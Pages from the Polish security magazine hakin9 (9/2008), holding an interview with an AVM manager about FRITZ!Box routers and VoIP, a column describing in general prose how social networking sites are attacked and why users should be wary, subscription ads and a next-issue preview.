Rok wydania w Polsce: 2008

Liczba stron: 300

Recenzent: Roger Zacharczyk

Ocena: 5

R

E

K

L

A

M

A

background image

76

WYWIAD

HAKIN9 9/2008

ROZMOWA Z KLAUSEM VON KRIES

77

HAKIN9

9/2008

zamiar wypuścić produkt 7270. Ponieważ
model 7270 integruje obsługę standardu
802.11N z technologią MIMO, warto od
razu wprowadzić odpowiedni WLAN
USB Stick
. Nowy Stick WLAN nie będzie
wymagał użycia płyty CD. Sterownik
jest całkowicie przeniesiony do pamięci
lokalnej Sticka i obsługuje system
Windows Vista. Dzięki temu instalacja
przebiega łatwiej. Po prostu wystarczy
wszystko odpowiednio podłączyć i
rozpoczynamy pracę.

h9: Która z nowych technologii może
stać się przebojem tego roku?
KK: Z technologiami to jest tak, że żadna
z nich sama w sobie nie stanie się
hitem. Przypuszczam, że zależy to od
odpowiedniej kombinacji dostępnych
możliwości. Model 7270 ma duże
szanse, aby stać się przebojem tego
roku. Obecnie nie istnieje na rynku
żaden produkt, który w tak małym
urządzeniu łączyłby taką kompleksowość.
Pod względem technicznym nie znam
żadnego innego sprzętu, który łączy
w sobie: router ADSL2+ i bramkę VoIP,
centralkę telefonii ISDN i analogowej,
2 łącza analogowe, wewnętrzny ISDN
Bus, DECT CatIQ Access Point, 802.11
a/b/g/N Access Point i host USB 2.0.
Potężne możliwości urządzenia można

jednak wykorzystać dopiero dzięki
odpowiedniemu oprogramowaniu. Czy
to wystarczy, aby produkt ten stał się
hitem roku? Na to pytanie nie umiem
odpowiedzieć. Rynki reagują bardzo
różnie. Doskonale to rozumiem, jestem
jednakże przekonany, że ten produkt nie
okaże się bublem.

h9: Co wyróżnia sprzęt AVM'a od
konkurencji. Na rynku podobnych

hakin9: Nad czym obecnie głównie
pracuje firma AVM?
Klaus von Kries: Obecnie pracujemy
nad następną aktualizacją major
firmware
. Chcemy wzbogacić
system o nowe funkcje – takie, jak
automatyczna sekretarka i fax. Zależy
nam na tym, aby obie funkcje były
nadzorowane przez skrzynkę bez
zastosowania dodatkowego sprzętu.
Dodatkowo system będzie wyposażony
w funkcjonalność VPN. Projekt ten był
długo wyczekiwany przez sprzedawców
i dystrybutorów, ponieważ wspomniane
elementy są kluczowe dla dobrej
współpracy z klientami. System Firmware
update powinien dotyczyć 3 produktów:
FRITZ!BoxFon 5124, FRITZ!Box Fon
WLAN 7140 oraz FRITZ!Box Fon WLAN
7170. Ponadto kładziemy nacisk na
wprowadzenie na rynek anglojęzycznej
wersji produktu FRITZ!Box Fon WLAN
7270, której z niecierpliwością oczekują
nasi klienci. Reagowanie na ich potrzeby
z odpowiednią szybkością jest niekiedy
rzeczywiście trudnym zadaniem.

h9: Jaki będzie nowy produkt,
nad którego wprowadzeniem się
zastanawiacie?
KK: Jak wcześniej wspomniałem, w
trzecim kwartale bieżącego roku mamy

Stawiamy na

rozwój

Swoją pracę w AVM rozpocząłem w roku 1999 w dziale wsparcia – Network Support.

Zapewnialiśmy wtedy wsparcie dla routera Multiprotokoll Software ISDN w firmach

Novell i NT. Później pracowałem w dziale wsparcia międzynarodowego, po czym

zostałem przeniesiony do niemieckiego zespołu wspierającego – aby w późniejszym

czasie zostać włączonym do międzynarodowego działu przedsprzedaży.

background image

76

WYWIAD

HAKIN9 9/2008

ROZMOWA Z KLAUSEM VON KRIES

77

HAKIN9

9/2008

rozwiązań jest dużo, jaki jest mocny
punkt np. routerow Fritz?
KK: Przywiązywanie ogromnej wagi do
szczegółów. Dzięki uwagom naszych
klientów, staramy się podwyższyć jakość
produktów oraz sprawić, aby były bardziej
konkurencyjne na rynku. Ponadto dbamy
o regularną aktualizację naszego
oprogramowania. Ten system sprawdza
się i sprawia, że klienci się do nas
przywiązują.

h9: Czy AVM ma lub planuje
wprowadzenie do produkcji chipów
WiMax?
KK: Na dzień dzisiejszy nie produkujemy
chipów. Nie wykluczam jednak, że w
przyszłości ulegnie to zmianie.
Ponownej oceny dokonamy, kiedy
zauważymy w tym rynku możliwości,
które moglibyśmy wykorzystać. Mimo
to FRITZ!Box można zastosować w
alternatywnych sieciach. Podłączenie
modemu Wimax jest możliwe poprzez
FRITZ!Box Fon – podobnie jak
podłączenie kablówki. Można przy tym
wykorzystać zarówno protokół PPP, jak i
bezpośrednio IP.

h9: Analitycy In-Stat informują o tym,
że ponad 50% przebadanych firm nie
miało opracowanych mechanizmów
zabezpieczających sieci VoIP. Czy zatem
technologia VoIP jest bezpieczna? I
czy nie należałoby kłaść większych
nacisków na hardwarowe zabeczenia
sieci VoIP?
KK: Zgadzam się z tym stwierdzeniem.
To jest wciąż ten sam temat.
Świadomość pewnych spraw nie
przekłada się na konkretne działania,
więc mądrzy jesteśmy dopiero po
szkodzie. Przede wszystkim należy
rozróżnić sytuację użytkownika
prywatnego od użytkownika w firmie.
Każdy przestój procesu produkcyjnego
(dotyczy to także dostępu do Internetu
oraz telefonii) generuje straty pieniężne.
Wiemy o tym, mimo to zdarza się
nam popełniać błędy, które powodują
określone straty.

h9: Czy AVM ma umowę z jakimś
Polskim dostawcą IP-TV na dostarczanie
sprzętu? Czy targetem jest tylko
końcowy użytkownik sprzętu?

KK: Nasze produkty są adresowane do
providerów usług internetowych, którzy
mają w ofercie IP-TV. Na dzień dzisiejszy
nie mamy w Polsce partnera, ale mamy
nadzieję, że wkrótce to się zmieni.

h9: Jak sprawdza się Fritz we
współpracy z profesjonalnym sprzętem
w dużych sieciach opartych np. na
sprzęcie CISCO ?
KK: Z firmą Cisco mamy tak naprawdę
niewiele wspólnego. Wcześniej firma AVM
zajmowała się wprawdzie rozwiązaniami
dla centrali firm, teraz jednak skupiamy
się na użytkownikach końcowych. To, co
jest sprawdzone, to sytuacja, w której
główny oddział firmy jest wyposażony
w router Cisco dla VPN, a w jej filiach
stosuje się routery FRITZ!Box, które
tworzą kanał informacyjny z centralą.
Rozwiązanie takie było już wielokrotnie
stosowane, a poza tym nie ma żadnych
punktów stycznych w zastosowaniu
naszych produktów.

h9: Większość rozwiązań AVM jest
przeznaczona dla małych i średnich
przedsiębiorstw, czy AVM ma w
planie zaatakowac rynek dużych
przedsiębiorstw i instytucji? Jeśli tak to
nad jakimi rozwiązaniami się państwo
zastanawiają?
KK: Na dzień dzisiejszy nie ma takich
planów. AVM jest producentem
routerów i chce ruszyć na podbój rynku
poszerzając swoją ofertę o produkty

Value Add, które będą przetwarzać treści
multimedialne. Ale to dopiero projekt na
przyszłość.

h9: Jak Pan przewiduje rozwój nowych
technologii łączności bezprzewodowej
oraz przyszłość technologii Voip?
KK: Kwestia ta jest rozwojowa. Produkty
VoIP, stworzone na bazie WLAN, są już
dostępne i będą w przyszłości jeszcze
udoskonalane. W obszarze DECT mamy
(jeszcze nie sfinalizowany) standard
CatIQ, który zawiera szerokopasmowy
kodek zapewniający rozmowom
VoIP jakość lepszą nawet od tej, jaką
oferuje telefonia stacjonarna. Nowy
kodek nazywa się G.722 i jest w stanie
całkowicie odtworzyć akustyczne
spektrum ludzkiego głosu. Jest zatem na
co czekać.

h9: Jaka jest strategia marketingowa
na 2008 rok, prognozy sprzedaży oraz
ekspansja na inne rynki?
KK: Od tego roku mamy na pokładzie
nowego dystrybutora (ABC-DATA). Dzięki
temu nasze urządzenia będą łatwiej
dostępne. Dla resellerów będziemy
organizować spotkania, które pozwolą
nam nawiązać lepsze kontakty i zacieśnić
współpracę. W roku 2008 planujemy
wzrost wyników w porównaniu z rokiem
ubiegłym.

h9: Dziękuję za rozmowę
KK: Dziękuję

background image

FELIETON

78

HAKIN9 9/2008

79

HAKIN9

9/2008

Ataki na serwisy

społecznościowe

serwisu – nie tylko go odwiedzająca –
sama w sobie jako zamknięta grupa
oferuje liczne grono potencjalnych
odbiorców złośliwego kodu. Każdy z
użytkowników takowego serwisu
zmuszony jest przecież do przejrzenia
danej treści zanim zostanie ona poddana

jego realnej ocenie. Wyobraźmy sobie
następujący scenariusz: grupa, która
wykryła nową podatność w danym
systemie umieszcza w Internecie
specjalnie spreparowaną stronę o
zawartości dostosowanej do aktualnych
trendów na danym serwisie

społecznościowym. Jest ona na tyle
atrakcyjna pod względem informacyjnym
(np. posiada pewną kontrowersję, która
aktualnie najbardziej przyciąga uwagę
wielu osób), że ma duże szanse zostać
wypromowana na pierwszą stronę owego
serwisu. W jej promocji pomagają konta,
które zostały wcześniej przejęte za
pomocą luk XSS/PHP/SQL wykrytych w
samym serwisie. Przy aktualnym
nafaszerowaniu serwisów skryptami, w
których główny nacisk kładzie się na
funkcjonalność, a dopiero
bezpieczeństwo nie jest to aż tak trudne.
Oprócz standardowej wrażliwości na
ataki typu SQL Injection, Cross-Site
Scripting jakie posiadają standardowe
strony, pozwalają na wykorzystanie
szkodliwego kodu w dodatkowych
sektorach serwisu (np. w profilach
użytkowników). W przeciwieństwie do
phishingu, który opiera się na
socjotechnice stosowanej ataki te
wykorzystują realne luki służące jako
półśrodki do osiągnięcia celu.
Spreparowana strona zawiera w sobie
szkodliwy kod infekujący każdego
odwiedzającego użytkownika, który
spełnia dane wymagania pod względem
posiadanego systemu operacyjnego i
znajdującej się w nim luki; w innym
przypadku nie zostaje podjęta żadna

F

elieton ten postaram się skupić
wokół ataków przeprowadzanych
na same serwisy społecznościowe,

które w tym wypadku są ofiarami, a na
które przeprowadza się coraz więcej
ataków - i to w pełni świadomych. Z
czego wynika owa prawidłowość?
Prawdopodobnie z dwóch powodów. Po
pierwsze: poprzez taki serwis bardzo
łatwo wypromować daną treść, która ma
na celu doprowadzenie użytkowników do
wybranego miejsca w sieci i
przeprowadzenia ukrytego ataku.
Posiadają one również wysoką
popularność i renomę, która znacznie
ułatwia wymuszenie łatwowiernego
zaufania względem publikowanych treści.
Skoro wiele nowych form ataków zostaje
tworzonych w coraz krótszym czasie i
wykorzystuje coraz bardziej wyrafinowane
metody, to bardzo dobrym punktem
startu dla testów nowego „produktu” pod
postacią np. konia trojańskiego lub
wirusa jest liczne grono Internautów, które
zostaje zaatakowane w bardzo krótkim
czasie. Jest to również drugi powód, dla
którego serwisy społecznościowe stają
się coraz częstszymi ofiarami. Oferują
one społeczność połączoną w jedną
spójną sieć pod postacią kontaktów do
innych użytkowników. Społeczność ta
aktywnie uczestnicząca w funkcjonowaniu

W poprzednim felietonie (patrz „Ataki społecznościowe” Hakin9 nr 7/2008 (39)) został

poruszony temat ataków, które wynikają z użytkowania serwisów społecznościowych

opartych na idei Web 2.0. Przedstawiony temat został omówiony ze strony serwisu

jako nieświadomego agresora wykonującego za pomocą swoich użytkowników

przeróżnego rodzaju ataki.

Wszyscy użytkownicy

powinni być świadomi

skali zagrożeń, jakie

czyhają w Internecie.

W szczególności

dotyczy to graczy,

użytkowników serwisów

społecznościowych,

emerytów i nastolatków,

a także ich rodziców

– Bartosz Świderski,

konsultant CA

background image

FELIETON

78

HAKIN9 9/2008

79

HAKIN9

9/2008

akcja, która by mogła zbyt szybko
wzbudzić podejrzenia – czyli propagacja
kodu odbywa się za pomocą list
warunkowych w celu podniesienia
prawdopodobieństwa, że komputer
zostanie zarażony. Strona jest
utrzymywana w technice fast-flux, by
zamaskować źródło jej pochodzenia, a
infekcja odbywa się poprzez atak typu
drive-by download polegający na
pobraniu złośliwego oprogramowania na
lokalny komputer bez wiedzy użytkownika.
Dodatkowo każdy użytkownik będący
aktualnie zalogowany w serwisie
atakowany jest samopowielającym się
kodem, atakującym wszystkie osoby,
które są wymienione na liście znajomych
właściciela danego profilu. W tym
przypadku nie jest wymagana nawet
promocja spreparowanej strony w
serwisie. Wystarczy, że zostanie
umieszczony w serwisie prowadzący do
niej odnośnik, który odwiedzą od jednej
do dwóch osób - oceniające jej
zawartość, a będące podatne na atak; po
czym kod zostanie rozprzestrzeniony we
wewnętrznej strukturze drzewa listy
znajomych z czasem ogarniając
wszystkie podatne osoby i wydostając się
na „zewnątrz”. Oczywiście jeśli link do
naszej strony pojawił by się na czołowym
miejscu serwisu społecznościowego to
pole rażenia obejmuje nie tylko
użytkowników serwisu, ale także wszystkie
osoby go odwiedzające. W dodatku
wszelakie wiadomości, które ewentualnie
by zostały użyte do infekcji kolejnych ofiar
mogą zostać napisane w dokładnie
przewidzianym języku ze względu na fakt,
iż serwisy społecznościowe zazwyczaj
tworzone są dla wybranych narodowości
czy grup społecznych operujących
charakterystycznym sposobem
komunikacji. W ten sposób średni czas
infekcji szkodliwym kodem, który aktualnie
trwa cztery dni jest znacznie skracany. Do
przeprowadzenia ataku na użytkowników
serwisu społecznościowych, można
podejść również od strony informacji
udostępnianych przez samą społeczność.
Do tego wystarczy stworzenie automatu
zbierającego informacje, podobnego do
tego jakiego używają spamerzy do
zbierania informacji o adresach e-mail.
Wystarczy przefiltrować system
komentarzy, w których bezmyślnie jeszcze

pozostawiane są adresy IP osób
komentujących daną treść (w celu ich
ewentualnej identyfikacji). Daje to
możliwość stworzenia sporej listy
podlegającej bezpośredniemu atakowi,
mającej na celu zainfekowanie
komputera ofiary. Należy także nie
zapominać o tym, że coraz więcej
serwisów tego typu zaczyna tworzyć
niezależne oprogramowanie dla własnych
platform mające na celu ułatwienie
komunikacji społecznych i obsługę
posiadanych kont, co daje kolejny kanał
dostępowy dla potencjalnych
cyberprzestępców. W naturze
społecznościowych serwisów leży
również swobodna wymiana zasobami
pod postacią różnych plików, których
zawartość należy traktować z bardzo
dużym dystansem, nawet jeśli pochodzą
one od znajomych, których konto przecież
mogło zostać przejęte. Co więcej, serwisy
oparte wyłącznie na idei ułatwienia
kontaktów międzyludzkich borykają się z
coraz większym zjawiskiem spamu.
Zasada działania pozostaje ta sama –
dotrzeć do jak największego grona
odbiorców – i zmusić do wejścia na
stronę wykorzystującą phishing lub
malware. Tylko, że w tym wypadku
zamiast wiadomości e-mail wysyłane są
zaproszenia do dodania do listy
znajomych ze specjalnie przygotowanych
kont. Wielu użytkowników szczycących się
ilością „znajomych” chętnie korzysta z
takich ofert. W dodatku miejscem, z
którego korzystają z serwisów
społecznościowych wychodzi poza krąg
rodzinny – np. praca, co stwarza
dodatkowe zagrożenia dla środowiska, w
którym aktualnie się znajdują. Aktualnie,
wiele z serwisów społecznościowych
zwraca się już w stronę komercjalizacji
dodatkowych usług i produktów, co na
pewno znajdzie swoje skutki w formie
wyłudzeń oraz strat finansowych ze strony
użytkowników, którzy padli ofiarami tego

rodzaju nadużyć. To samo tyczy się utraty
danych osobowych. Należy pamiętać, że
klienci tego rodzaju serwisów muszą
zaadoptować takie same formy
zabezpieczenia jakie stosowane są w
innych przypadkach komunikacji on-line,
wliczając w to nieodpowiadanie na
niechciane wiadomości i nigdy nie
udostępnianie ani wysyłanie danych
osobowych, które mogłyby prowadzić do
kradzieży prawdziwej tożsamości. Wiele
osób zaczynających przygodę z
Internetem od tego rodzaju serwisów nie
jest przygotowana na takie ewentualności.
Niestety w dodatku tego rodzaju serwisy
nie posiadają jeszcze żadnych informacji
o polityce bezpieczeństwa na swoich
stronach. Gdzieniegdzie można spotkać
się jedynie z polityką prywatności, która
ma jedynie zapewnić użytkownika że jego
dane personalne są niby bezpieczne.
Wynikać może to z faktu, iż serwisy po
prostu boją się straty potencjalnych
użytkowników już przy etapie rejestracji.
Zjawisko to można doskonale porównać
z rewolucją jaką wprowadziła bankowość
elektroniczna – na początku banki
również ignorowały tego rodzaju
zdarzenia dopóki ich skala nie osiągnęła
wydźwięku globalnego. Dzisiaj każdy
szanujący się bank posiada szczegółowe
informacje o bezpieczeństwie, prowadzi
biuletyny z praktycznymi wskazówkami
oraz na bieżąco informuje swoich
klientów o wykrytych próbach ataku. To
samo powinno zostać uczynione w
kwestii serwisów społecznościowych,
które można porównać do uli czekających
na przylot szerszeni. Tam gdzie skupiają
się użytkownicy, tam podążają
cyberprzestępcy. Są one po prostu
kolejną, nową formą dystrybucji informacji
nie tylko dla „mieszkających” w nich
społeczności, ale również dla ludzi
traktujących Internet jako wielkie pole do
nadużyć i czerpania z tego własnych
korzyści.

Patryk Krawaczyński jest studentem Informacji Naukowej

na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych

chwilach stara się prowadzić serwis na temat administracji

oraz podstawowych mechanizmów bezpieczeństwa systemu

operacyjnego Linux – www.nfsec.pl. Jego zainteresowania

wiążą się także z ogólnymi zjawiskami zachodzącymi w

społeczeństwie, na które oddziałują Technologie Informacyjne.

Kontakt z autorem: agresor@nfsec.pl

background image

Kontakt

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

tylko

219

hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.

,-

background image

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.

Prenumerujesz

– zyskujesz

l

oszczędność

pieniędzy

l

szybka dostawa

l

prezenty

l

bezpieczna płatność

ność on–line

Tytuł

Ilość

nume-

rów

Ilość

zama-

wianych

prenume-

rat

Od

numeru

pisma

lub mie-

siąca

Cena

hakin9, jak się obronić

(1 płyta CD)

Miesięcznik o

bezpieczeństwie

i hakingu

11

199*/

219

PLN

□ automatyczne przedłużenie prenumeraty

* cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image

82

HAKIN9 9/2008

ZA MIESIĄC

W następnym numerze między innymi:

Numer będzie w sprzedaży

pod koniec września 2008

Aktualne informacje o najbliższym numerze

znajdziesz na naszej stronie www.hakin9.org/pl.

NA CD

hakin9.live bootowalna dystrybucja Linuksa
Mnóstwo narzędzi – niezbędnik hakera
Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach
Dodatkowa dokumentacja
Pełne wersje komercyjnych aplikacji

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

Atak

DLL INJECTION

Współczesne systemy operacyjne pozwalają
uruchomić wiele procesów, z których część
posiada wyższy priorytet niż inne oraz
może korzystać z większej ilości zasobów
komputera. Czy jesteśmy jednak pewni, że nie
da się przejąć kontroli nad tymi procesami
i wykorzystać ich w sposób niezamierzony?
Po przeczytaniu artykuł dowiesz się co
to są zdalne wątki systemu Windows czy
jak wywołać kod w wybranym procesie.
Autor pokazał jak w systemie Windows
wyszukać wybrany proces, oraz jak
zmienić procedurę obsługi komunikatów
wybranego okna.

UWAGA! INTRUZ W SYSTEMIE!

Czy zdarzyło Ci się, że pewnego razu,
bez twojej inwencji, system sygnalizował
wystąpienie błędu spowodowanego brakiem
lub uszkodzeniem pewnych plików? A może
dokumenty, które skrzętnie gromadziłeś na
dysku twardym, nagle zniknęły, lub napisałeś
program, który działał doskonale, a któregoś
dnia po prostu przestał, po czym system
wysyłał do Ciebie irytujące komunikaty o
błędzie? Z pewnością każdemu przytrafiła się
choćby jedna z powyższych sytuacji. Wniosek
jest prosty – Twoje dane są atakowane.
Autor przedstawił jak klasyfikuje się wirusy, co
najczęściej pada ich ofiarą. Przedstawione

zostało także w jaki sposób infekują swoje
cele i w jaki sposób ukrywają swoją
obecność w systemie.

Obrona

BEZPIECZEŃSTWO
WINDOWS SERVER 2008

Najnowszy produkt serwerowy Microsoftu
niesie ze sobą wiele zmian, które
według opinii producenta mają ogromny
wpływ na komfort jego użytkowania jak
i bezpieczeństwo samego systemu.
W niniejszym artykule przyjrzymy się
nieco bardziej pewnym technologiom
zastosowanym przez firmę Microsoft, które
sprawiają, że Windows 2008 jest lepszy
niż jego poprzednik. Autor przedstawił
szczegółową budowę Windows Server
2008, oraz czym jest Network Access
Protection. Dowiecie się jak bezpieczny jest
nowy produkt serwerowy Microsoftu i co na
to się składa.

KRYPTOGRAFICZNE
MOŻLIWOŚCI SYSTEMÓW LINUX

Jedną z gwarancji bezpieczeństwa
ważnych informacji jest stosowanie
zaawansowanych algorytmów
kryptograficznych. Narzędzia w systemach
Linuksowych umożliwiają tego typu
szyfrowanie; pojedynczych plików,
wybranych katalogów czy nawet całych
partycji. Autor pokazał nam metody
zabezpieczenia i szyfrowania poufnych
danych.

ANALIZA DZIAŁANIA
PODEJRZANEGO PROGRAMU

Warto zastanowić się nad

uruchomieniem pobranego z sieci
przypadkowego pliku. Choć nie każdy
niesie ze sobą zagrożenie, łatwo trafić
na złośliwy program wykorzystujący
naszą naiwność. Możemy za nią słono
zapłacić. Zanim więc uruchomimy nieznany
program, spróbujmy przeanalizować jego
działanie.

background image
background image

Document Outline


Wyszukiwarka

Podobne podstrony:
Hakin9 40 (09 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 29 (09 2007) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 34 (02 2008) PL
Hakin9 37 (05 2008) PL
Hakin9 33 (01 2008) PL
hakin9 07 08 2008 pl
Hakin9 37 (05 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 29 (09 2007) PL
Hakin9 33 (01 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 22 (02 2007) PL
Egzamin 3 09 2008 (Kubryński)

więcej podobnych podstron